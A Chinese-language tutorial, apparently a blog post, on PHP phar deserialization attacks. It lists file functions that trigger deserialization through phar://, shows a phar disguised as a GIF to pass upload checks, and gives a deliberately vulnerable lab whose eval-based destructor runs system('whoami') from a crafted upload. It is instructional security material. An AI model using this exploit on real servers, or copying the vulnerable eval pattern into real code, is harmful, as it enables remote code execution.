PHP反序列化-2
Phar
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在phar manifest 。其中会以序列化的形式存储用户自定义的meta-data。
Phar使用示例
手动构建phar文件,需要配置php.ini中phar.readonly选项设置为Off,否则无法生成phar文件。
<?php
class Test {
} // 临时的类,用来生成对象即可
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$o->data = 'haha';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "testHAHA"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
执行该PHP文件,生成test.phar
文件,打开观察meta-data是否被序列化:
确实存在序列化,以file_get_contents()
函数为例,观察在解析phar文件时得反序列化结果:
<?php
class Test {
function __destruct()
{
echo $this -> data;
}
}
file_get_contents('phar://test.phar/test.txt');
?>
那么还有哪些函数在通过phar://
伪协议解析phar文件时,会将meta-data进行反序列化呢?
参考:https://blog.zsxsoft.com/post/38
总结出:除了下列常见文件系统函数,凡是在实现过程中直接或间接调用了php_stream_open_wrapper
,都可能触发phar反序列化漏洞。
fileatime
/filectime
/filemtime
stat
/fileinode
/fileowner
/filegroup
/fileperms
file
/file_get_contents
/file_put_contents
readfile
/fopen
file_exists
/is_dir
/is_executable
/is_file
/is_link
/is_readable
/is_writeable
/is_writable
parse_ini_file
unlink
copy
将phar文件进行伪造
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class Test {
}
$phar = new Phar('img.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','testHAHA'); //添加要压缩的文件
$object = new Test();
$object -> data = 'haha';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
修改后缀名可以继续反序列化,同时该文件在上传时一般可绕过上传检测。
Phar反序列化漏洞利用
条件
- phar文件要能够上传到服务器端
- 要有可用的魔术方法作为“跳板”
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤
示例
index.html:
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>
upload.php:
// 仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>
evil.php:
// file_exists函数会触发phar反序列化
<?php
class Test{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
利用:
<?php
class Test {
}
$phar = new Phar('img.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','testHAHA'); //添加要压缩的文件
$object = new Test();
$object -> data = "system('whoami')";
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>